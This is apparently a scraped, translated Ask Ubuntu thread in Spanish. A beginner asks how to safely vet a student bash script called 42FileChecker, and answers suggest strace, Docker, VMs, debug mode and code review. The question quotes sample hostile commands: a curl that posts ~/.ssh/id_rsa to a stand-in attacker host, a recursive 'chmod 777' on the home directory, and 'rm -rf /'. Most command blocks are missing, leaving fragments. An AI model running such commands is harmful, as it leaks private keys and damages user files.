Me gustaría instalar un cierto script bash llamado 42FileChecker usando los comandos:
git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
cd ~/42FileChecker &&
bash ./42FileChecker.sh
Pero no sé si 42FileChecker.sh hará algo extraño en mi PC porque soy un principiante y no sé qué está sucediendo en ese script. ¿Hay alguna manera de ejecutarlo en una terminal ficticia o carpeta raíz ficticia o algo así para ver qué sucede para evitar algo loco como formatear mis discos? Me gustaría conocer cualquier forma de probar shells para futuros scripts de shell también, incluso si 42FileChecker.sh es seguro.
man
páginas de los comandos que contiene.chmod 777 -R ~
ocurl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsa
, o similares.Respuestas:
No soy un experto en esto, pero recomendaría usar
strace
ydocker
.Entonces, primero cree un contenedor Docker según las instrucciones de esta respuesta . Pero la adición es que strace le dirá qué llamadas al sistema se realizan. O para citar:
Puede combinar estos comandos para
fuente
Si no está seguro de lo que hace un script, es mejor que no lo ejecute hasta que esté seguro de lo que hace. Las formas de reducir el radio de daño de un script incorrecto incluyen ejecutarlo con un nuevo usuario, ejecutarlo en un contenedor o ejecutarlo en una máquina virtual. Pero esa primera afirmación sigue siendo válida: si no está seguro de lo que hace algo, considere no ejecutarlo hasta que lo haga.
fuente
Como dijo @ctt, probablemente sea una buena idea ejecutarlo primero en una caja de arena de algún tipo. Usar una VM es probablemente la solución más fácil. Multipass es bastante simple.
Instale multipass (suponiendo que aún no lo haya hecho):
Haga girar una nueva VM:
Inicie sesión en su nueva máquina virtual:
Luego ejecute su script (dentro de su vm):
fuente
Como la escuela a la que asiste ha publicado los guiones, el mejor lugar para expresar sus preocupaciones es con sus instructores.
Dicho esto, podemos ayudarlo a descifrar el código línea por línea. Probablemente no sea práctico para nadie aquí analizar todo el código.
En realidad, tiene 40 secuencias de comandos bash con un total de 5,360 líneas. Los combiné y busqué comandos bash / shell que pudieran ser abusados. Todos parecen usarse normalmente :
rm -rf /
comando para borrar toda la partición del disco duro.sudo
se use para ejecutar el script.C
se usen funciones autorizadas en los archivos marcados.github
página.42FileChecker
parece seguro de usar.No es necesario preocuparse tanto por los scripts de bash legibles por humanos. Son objetos binarios compilados que no puedes leer que son motivo de preocupación. Por ejemplo, un programa llamado "esfera brillante-hinchable" podría pintar algo así en su pantalla, pero en el fondo podría estar borrando todos sus archivos.
Respuesta original
Es mejor preguntarle al autor del guión qué hace. De hecho, casi puede publicar su pregunta literalmente como aparece arriba.
También pregunte al autor:
Y cualquier otra buena pregunta que se te ocurra.
Edición 1: se preocupa por un autor malintencionado.
Solo debe usar software con muchas buenas críticas públicas. Alternativamente, los autores en los que confía aquí en Ask Ubuntu como Serge, Jacob, Colin King, etc. Otros sitios respetados como Ask Ubuntu y sus miembros respetados también deben considerarse "no maliciosos".
La ventaja de los "autores respetados" aquí en Ask Ubuntu es que ponen su autoestima en los "puntos de reputación". Si escribieran intencionalmente código que "robara" o "dañara" datos, perderían rápidamente su reputación. De hecho, los autores podrían sufrir la "ira de las modificaciones" y ser suspendidos y / o que se les quiten 10.000 puntos de reputación.
Edición 2: no siga todas las instrucciones
Eché un vistazo más profundo a las instrucciones de tu script bash:
El método "seguro" es ejecutar solo la primera línea:
Esto descarga los scripts pero no los ejecuta. Luego use
nautilus
(administrador de archivos) para inspeccionar los directorios y archivos instalados. Muy pronto descubres que hay una colección de guiones de bash escritos por un grupo de estudiantes en Francia.El propósito de los scripts es compilar y probar programas en C para detectar funciones incorrectas y pérdidas de memoria.
fuente
~/42FileChecker/includes/display/display_credits.sh
trabajo de los estados de norminette es una dependencia:norminette (42 born2code) http://www.42.fr
. Leí esto anoche y es por eso que escribí que era una escuela (ecole) en Francia que publicó 42FileChecker . Por lo que he examinado el código hasta ahora, no me preocuparía por ejecutarlo. Además, tiene muy pocos errores de sintaxis informados, loshellcheck
que es sorprendente para un script bash de 5,360 líneas. Muchos scripts de bash publicados profesionalmente tienen muchos errores de sintaxis.Puedes usar Docker. Los contenedores Docker están aislados del sistema operativo host, por lo que cualquier actividad maliciosa permanecerá dentro de un contenedor, siempre y cuando no lo deje salir específicamente al reenviar puertos o montar sistemas de archivos.
Para instalar la ventana acoplable:
Para descargar un nuevo contenedor Ubuntu Bionic:
Después de eso, inicie sesión en el contenedor
y realizar la operación poco fiable en él:
fuente
docker diff
para ver qué cambios se han realizado en el sistema de archivos desde que inició el contenedor. La desventaja de usar Docker es que el contenedor no es una copia completa del sistema host. La imagen de Ubuntu que menciona aquí contiene solo una instalación mínima de Ubuntu.docker run ubuntu
ejecutarlo,docker run -it ubuntu:bionic
The-it
le proporciona una terminal interactiva en el contenedor ybionic
realmente ejecuta la versión que desea en lugar de la predeterminadalatest
.--memory
,--network
y tal vez otros a muy fije el guión.Considere usar el modo de depuración ejecutando el script como:
Más información útil sobre Bash
El modo de depuración no impedirá que el script haga algo malo, pero le permitirá revisar el script línea por línea y examinar los efectos. También puede verificar el script en busca de posibles errores y / o exploits potenciales comunes, por ejemplo, buscar en los scripts cualquier ocurrencia
rm
y observar esos comandos muy de cerca. Muchas de estas herramientas tienen un poco de ayuda incorporado para ponerlas en práctica, por ejemplo, rm no va a eliminar un directorio por defecto, que necesita el-r
,-R
o--recursive
la opción de hacerlo.Incluso puede haber algunas herramientas similares a antivirus que buscarían un script bash para estos patrones, pero no conozco ninguna por su nombre. Sus scripts de ejemplo son algo más dudosos, en el sentido de que descargan otras herramientas, por lo que cada uno de ellos también debe ser examinado. También puede valer la pena comprobar con qué servidores se contactan.
fuente
Desafortunadamente, la información relevante para proporcionar una respuesta solo se encuentra en un comentario suyo:
Entonces, la situación es que en la práctica tiene la opción de omitir el curso, o puede ejecutar el script para realizar verificaciones normativas en sus fuentes. Hablar con su instructor no es una opción, debido a la falta de la primera (de todos modos no sería una opción, de lo contrario, ninguna escuela va a cambiar su procedimiento porque un estudiante no está contento con eso).
La pregunta qué hacer para limitar el posible daño de ese script, por lo tanto, ni siquiera surge. No es un guión aleatorio que una chica cachonda con senos grandes te envió por correo electrónico, y que debes ejecutar para ver su foto .
Estás haciendo una clase de programación. Estaes donde entró en juego este guión. La pregunta es si desea o no cumplir con las condiciones del marco para completar con éxito el curso.
Sin embargo, si está realmente preocupado, todavía existe la posibilidad de ejecutar el script en un contenedor o una máquina virtual, y colocar sus fuentes en una carpeta compartida, o en un recurso compartido de red expuesto por el contenedor / máquina virtual. Eso es más o menos el camino completo de la paranoia, pero, de nuevo, la virtualización no es realmente tan complicada en estos días, por lo que no cuesta mucho.
Salvo la posibilidad improbable de que se contenga un exploit realmente duro en ese script, iniciar sesión como cualquier usuario no root (que apenas tiene la opción de hacer de otra manera en Ubuntu) y evitar escribir
sudo
sin razón obvia prácticamente evita el 99% de todas las cosas malas que podrían suceder de todos modos. Como formatear el disco duro, que le preocupa. Un usuario normal simplemente no puede hacer eso. Lo peor que puede pasar es que el script borre el directorio de inicio del usuario. Entonces, qué, no hay problema, realmente.fuente
sudo
es necesario para ejecutar el script. +1sudo
solo limita el alcance de la eliminación / formateo accidental debido a errores. Si el script era malicioso o explotable, la ejecución consudo
un solo sistema de usuario no hace una diferencia esencial.42FileChecker
así que realmente no puedo decir sisudo
es necesario o no. Sin embargo, el script bash no busca sudo y le dice que lo use. Parece que esosudo
no es obligatorio. Una vez más, creo que preguntarle a su instructor (maestro) es la mejor política. He actualizado mi respuesta hace una hora con un pequeño análisis del guión. Observe que el nombre "mynorminette
" apareció nuevamente dentro del código.42FileChecker
. Creo que hablar con los instructores te tranquilizará. Después de un par de horas investigando, tengo fe en los programadores y sus creaciones. Jean-Michel Gigault incluso tiene su foto en github. Todo un testimonio de confianza en una tierra donde crecen las semillas de Yellow Vest. ¡Viva La France! (et Ecole 42 :)) Haznos un favor y visítanos para dar actualizaciones de progreso.